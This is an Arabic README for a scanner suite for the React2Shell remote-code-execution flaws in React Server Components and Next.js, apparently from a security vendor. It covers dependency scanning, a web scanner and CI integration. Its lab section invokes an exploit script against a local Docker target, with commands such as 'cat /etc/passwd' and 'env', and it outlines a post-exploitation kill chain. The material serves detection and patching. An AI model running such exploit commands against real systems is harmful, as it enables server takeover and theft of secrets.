🔍 ماسح Phoenix SCA - عالمي - إصدار لثغرات CVE-2025-55182-CVE-2025-66478 React و Nexus

ثغرة خارجية لصنف أخطاء React2Shell: ثغرتان تم الكشف عنهما حديثًا لتنفيذ التعليمات البرمجية عن بُعد دون مصادقة في بروتوكول "Flight" لمكونات خادم React (RSC)—CVE-2025-55182 (React) وCVE-2025-66478 (Next.js)، وكلتاهما بتقييم CVSS 10.0. تكمن هذه المشكلات في كيفية قيام نقاط نهاية RSC/دوال الخادم بفك ترميز حمولات Flight التي يتحكم فيها المهاجم، مما يحول طلب HTTP واحدًا مصاغًا بعناية إلى تنفيذ محتمل للتعليمات البرمجية على جانب الخادم—حتى على مجموعات React/Next.js الحديثة "الافتراضية" التي تستخدم App Router والإصدارات الإنتاجية. بالنسبة للعديد من الفرق، هذه لحظة "صحّح الآن، تحقق من التعرض، ثم دقّق"، وليست شيئًا يؤجل إلى سباق لاحق لنظافة التبعيات. يحتوي مجلد LAB على استغلالات وثغرات مخبرية لـ React2Shell

يوفر هذا المشروع نهجًا مزدوجًا: (1) فحص تركيب البرمجيات / مخاطر التبعيات (هذه الأداة)، لتحديد موقع المكتبات والإصدارات المعرضة للخطر بسرعة، و(2) ماسح ويب DAST (ماسح ويب React2Shell) يستكشف بنشاط نقاط نهاية RSC/Flight من الخارج، للتحقق مما إذا كانت المسارات القابلة للاستغلال قابلة للوصول في البيئات قيد التشغيل. معًا، تساعدانك في الإجابة على كل من "أين توجد المكونات المعرضة للخطر؟" و**"أين يمكن استغلالها فعليًا في الإنتاج؟"** حتى تتمكن من تحديد أولويات التصحيح والتقوية والاستجابة للحوادث بثقة.

🌐 ماسح الويب - كشف RCE لـ React2Shell

لـ الاختبار المباشر لنقاط النهاية والتحقق من RCE، راجع ماسح الويب المخصص:

📁 web-scan_CVE-2025-66478/ - التوثيق الكامل والدليل

البدء السريع - ماسح الويب

cd web-scan_CVE-2025-66478

# Install dependencies
pip install -r requirements.txt

# Scan a single target
python3 react2shell-scanner -u https://target.com -v

# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence

# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html

# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"

ميزات ماسح الويب

إعداد المختبر التجريبي

cd web-scan_CVE-2025-66478/test-lab/lab

# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d

# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence

أمثلة الاستغلال (يتطلب Python 3.11+)

cd web-scan_CVE-2025-66478/test-lab

# Install exploit dependencies
pip3.11 install -r requirements.txt

# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs

python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)

python3.11 exploit.py -u http://localhost:3011 -c "hostname"  
# Output: 99e28775bf80 (container ID)

# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"

# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd"           # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"

🛡 نظرة عامة على ثغرة RCE في React2Shell / بروتوكول Flight

React2Shell هي بدائية تنفيذ تعليمات برمجية عن بُعد دون مصادقة ضد معالجة حمولات مكونات خادم React (RSC) في بروتوكول Flight. عمليًا، هذا يعني أن عميلًا خبيثًا يمكنه إرسال طلب HTTP واحد مصاغ بعناية إلى نقطة نهاية RSC/دالة خادم، وإذا كانت نسخة معرضة للخطر قيد الاستخدام، فمن المحتمل أن يحوّل "تطبيق ويب" إلى "قشرة خادم".

على مستوى عالٍ:

• تُرسل حمولات Flight التي يتحكم فيها المهاجم إلى نقاط النهاية المشاركة في معالجة RSC / دوال الخادم (مثلًا، في عمليات نشر Next.js App Router).
• يستخدم الخادم منطق فك ترميز Flight وإلغاء التسلسل في React لإعادة تحويل تلك الحمولة إلى بيانات وتعليمات على جانب الخادم.
• يسمح إلغاء التسلسل غير الآمن في هذه الطبقة للمهاجم بالتأثير على التنفيذ على جانب الخادم، مما يتصاعد إلى تنفيذ كامل للتعليمات البرمجية عن بُعد (RCE).

نظرًا لأن هذه ثغرة RCE دون مصادقة، فإن الإعدادات الافتراضية للإنتاج ضمن النطاق—حتى لو لم تكتب أبدًا "دالة خادم" بشكل صريح واعتمدت ببساطة أنماط React/Next.js الحديثة. لا ينبغي التعامل مع التخفيفات على مستوى الاستضافة وجدران الحماية العامة (WAFs) كشبكة أمان أساسية: فقد تقلل من التعرض، لكنها لن تعوض بشكل موثوق عن المكتبات المعرضة للخطر. تعامل مع هذا كحادثة:

• صحّح حزم DOM لخادم React RSC وNext.js إلى الإصدارات المصلحة.
• تحقق من التعرض بفحص قواعد الأكواد وقوائم مكونات البرمجيات (SBOMs) بحثًا عن الإصدارات المعرضة للخطر.
• دقّق السجلات بحثًا عن طلبات مشبوهة إلى نقاط النهاية المتعلقة بـ RSC/Flight، وبدّل الأسرار إذا اشتبهت في اختراق.

بمجرد أن يحقق المهاجم RCE عبر React2Shell، يجب على المدافعين افتراض سلسلة قتل مألوفة:

• اكتشاف البيئة – تعداد بيئة التشغيل، وتخطيط نظام الملفات، ومتغيرات البيئة، ونقاط نهاية البيانات الوصفية السحابية.
• اصطياد الأسرار – جمع ملفات .env، وأسرار النشر، ورموز CI، وبيانات اعتماد الخدمات، ومفاتيح التوقيع.
• الثبات – إسقاط مصنوعات شبيهة بقشرة الويب، أو تعديل التعليمات البرمجية على جانب الخادم، أو زرع مهام مجدولة حيثما أمكن.
• الحركة الجانبية – الانتقال إلى الخدمات الداخلية وقواعد البيانات وقوائم الانتظار وواجهات برمجة تطبيقات إدارة السحابة.
• المتابعة في سلسلة التوريد – إذا كانت بيانات اعتماد البناء أو النشر موجودة، فانتقل "إلى المنبع" داخل CI/CD ومستودعات المصنوعات.

إذا تعامل خط أنابيب DevSecOps لديك تاريخيًا مع طبقة الويب على أنها "مجرد واجهة أمامية"، فإن هذه الثغرة تمثل دليلًا ملموسًا على أن أطر الواجهات الأمامية يمكن أن تحمل نطاق انفجار عميقًا على جانب الخادم عندما تكون دلالات RSC والتدفق (streaming) متورطة. إن أداة Universal Vulnerability Scanner موجودة لمساعدتك في الإجابة بسرعة على "هل نشغّل الحزم المعرضة للخطر في أي مكان؟" وتغذية تلك الإجابة في الحملات التي تقودها Phoenix، وقريبًا، في التحقق التكميلي عبر ماسح الويب DAST لنقاط نهاية RSC المباشرة.

🎯 الميزات

ماسح SCA (هذه الأداة)

• ✅ دعم متعدد الأنظمة البيئية - NPM (مع قابلية للتوسعة لـ PyPI وRuby Gems وغيرها)
• ✅ مطابقة ذكية للإصدارات - تحليل Semver مع كشف قائم على النطاقات
• ✅ كشف مكونات خادم React (RSC) - كشف متخصص لثغرات RSC
• ✅ دعم ملفات القفل - تحليل package-lock.json وyarn.lock وpnpm-lock.yaml
• ✅ تكامل Phoenix - رفع النتائج إلى منصة Phoenix Security
• ✅ اختبار شامل - حزم معرضة للخطر نموذجية للتحقق
• ✅ تقارير JSON/نصية - تنسيقات إخراج مرنة
• ✅ واجهة CLI - أداة سطر أوامر سهلة الاستخدام

ماسح الويب (web-scan_CVE-2025-66478/)

• ✅ كشف RCE مباشر - تأكيد آمن للثغرة قائم على العمليات الحسابية
• ✅ أداة الاستغلال - تنفيذ الأوامر على الأهداف المعرضة للخطر
• ✅ قاعدة بيانات IOC - أكثر من 31 عنوان IP خبيث، وأكثر من 16 نمط هجوم
• ✅ الفحص على نطاق واسع - نطاقات CIDR، تعداد النطاقات الفرعية، الفحص الدفعي
• ✅ جمع الأدلة - التقاط كامل للطلب/الاستجابة، تقارير HTML
• ✅ مختبر تجريبي - بيئة معرضة للخطر/مصححة قائمة على Docker

📦 التثبيت

# Install dependencies
pip install -r requirements.txt

# Run from project root
python -m universal_vulnerability_scanner.main --help

🚀 البدء السريع

1. فحص مشروع

# Basic scan
python -m universal_vulnerability_scanner.main scan /path/to/project

# With JSON output
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json

# Quiet mode (only show summary)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet

2. الرفع إلى Phoenix Security

# Create Phoenix configuration template
python -m universal_vulnerability_scanner.main create-config

# Edit .phoenix.config with your credentials
# Then scan and upload
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix

3. تشغيل الاختبارات

# Test with included vulnerable samples
python -m universal_vulnerability_scanner.main test

📋 قاعدة بيانات الثغرات

يستخدم الماسح قاعدة بيانات ثغرات قائمة على JSON تقع في:

universal_vulnerability_scanner/data/vulnerability_database.json

الثغرات المدعومة

مكونات خادم React (RSC)

• react-server-dom-webpack - الإصدارات: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-parcel - الإصدارات: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-turbopack - الإصدارات: 19.0.0, 19.1.0, 19.1.1, 19.2.0

React Core

• react - النطاقات المعرضة للخطر: [19.0.0, 19.0.1), [19.1.0, 19.1.2), [19.2.0, 19.2.1)
• react-dom - نفس النطاقات المعرضة للخطر مثل react

Next.js

• next - النطاقات المعرضة للخطر: [15.0.0, 15.0.5), [16.0.0, 16.0.7)

تنسيق قاعدة البيانات

{
  "metadata": {
    "version": "1.0.0",
    "last_update": "2025-12-04",
    "ecosystems": ["npm"]
  },
  "vulnerabilities": {
    "npm": {
      "package-name": {
        "exact_versions": ["1.0.0", "1.0.1"],
        "vulnerable_ranges": [
          {"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
        ],
        "safe_versions": ["1.0.2+"],
        "cve_ids": ["CVE-2025-XXXX"],
        "description": "Vulnerability description",
        "references": ["https://..."]
      }
    }
  }
}

🔧 الإعداد

تكامل Phoenix Security

أنشئ .phoenix.config:

[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new

أو استخدم متغيرات البيئة:

export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"

📊 تنسيقات الإخراج

التقرير النصي

================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00

SUMMARY:
----------------------------------------
Total findings: 12
  VULNERABLE:  3
  SAFE:        2
  CLEAN:       5
  REVIEW:      2

🚨 VULNERABLE PACKAGES DETECTED
================================================================================

1. [email protected]
   File: /path/to/project/package.json
   Reason: Exact match with known vulnerable version 19.0.0
   ✅ Safe version: 18.99.99
   CVE: CVE-2025-RSC-001

تقرير JSON

[
  {
    "path": "/path/to/project/package.json",
    "kind": "package.json",
    "package": "react-server-dom-webpack",
    "version": "19.0.0",
    "verdict": "VULNERABLE",
    "reason": "Exact match with known vulnerable version 19.0.0",
    "severity": "CRITICAL",
    "vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
    "safe_version": "18.99.99",
    "cve_ids": ["CVE-2025-RSC-001"],
    "timestamp": "2025-12-04T10:30:00"
  }
]

🧪 عينات الاختبار

يتضمن الماسح عينات اختبار شاملة في test_samples/:

شغّل الاختبارات:

python -m universal_vulnerability_scanner.main test

🏗️ البنية

universal_vulnerability_scanner/
├── core/
│   └── version_parser.py       # Semver parsing & comparison
├── models/
│   ├── finding.py              # Finding data model
│   └── vulnerability.py        # Vulnerability database model
├── scanners/
│   ├── base_scanner.py         # Abstract scanner interface
│   └── npm_scanner.py          # NPM ecosystem scanner
├── integrations/
│   └── phoenix_uploader.py     # Phoenix API client
├── data/
│   └── vulnerability_database.json  # Vulnerability definitions
├── test_samples/               # Test cases
└── main.py                     # CLI entry point

🔐 اعتبارات أمنية

1. لا نتائج سلبية خاطئة: يميل الماسح إلى توخي الحذر
2. تطبيع الإصدارات: يتعامل مع محددات إصدارات NPM (^, ~, =)
3. كشف النطاقات: يكتشف الثغرات ضمن نطاقات الإصدارات
4. أولوية ملفات القفل: يفضّل الإصدارات المحلولة من ملفات القفل
5. توصيات الإصدار الآمن: يقترح مسارات الترقية

🚀 توسيع الماسح

إضافة أنظمة بيئية جديدة

1. أنشئ ماسحًا جديدًا في scanners/ يرث من BaseScanner
2. نفّذ تحليلًا خاصًا بالنظام البيئي
3. أضف الثغرات إلى قاعدة البيانات تحت مفتاح النظام البيئي الجديد

مثال:

from .base_scanner import BaseScanner

class PyPIScanner(BaseScanner):
    def _get_ecosystem(self) -> str:
        return "pypi"
    
    def scan_path(self, root: Path) -> List[Finding]:
        # Implement PyPI scanning logic
        pass

إضافة ثغرات جديدة

عدّل data/vulnerability_database.json:

{
  "npm": {
    "new-vulnerable-package": {
      "exact_versions": ["1.0.0"],
      "vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
      "safe_versions": ["1.0.5+"],
      "cve_ids": ["CVE-2025-XXXX"],
      "description": "Vulnerability description"
    }
  }
}

📈 أكواد الخروج

• 0 - فحص ناجح، لم يتم العثور على ثغرات
• 1 - فحص ناجح، تم العثور على ثغرات
• 2 - فشل الفحص (إدخال غير صالح، خطأ في قاعدة البيانات، إلخ.)

🤝 التكامل مع الأنظمة الحالية

منصة Phoenix Security

يرفع النتائج تلقائيًا إلى Phoenix مع:

• إنشاء أصل لكل مستودع تم فحصه
• نتائج الثغرات مع تسجيل CVSS
• وسوم للتصنيف
• مراجع CVE

خط أنابيب CI/CD

# Example GitHub Actions
- name: Vulnerability Scan
  run: |
    python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
    
- name: Upload to Phoenix
  if: always()
  run: |
    python -m universal_vulnerability_scanner.main scan . --upload-phoenix

📝 سجل التغييرات

v1.0.0 (2025-12-04)

• الإصدار الأول
• ماسح NPM مع دعم ملفات القفل
• كشف ثغرات مكونات خادم React
• تكامل Phoenix Security
• مجموعة اختبارات شاملة

🙏 شكر وتقدير

• تحليل Semver مقتبس من react/rsc_exposure_scanner.py
• تكامل Phoenix مقتبس من enhanced_npm_compromise_detector_phoenix.py
• طُوّر لأمن شامل لسلسلة التوريد

📄 الترخيص

جزء من مجموعة أدوات Shai Halud الأمنية.

🔍 ابقَ آمنًا! أبلغ عن الثغرات بمسؤولية.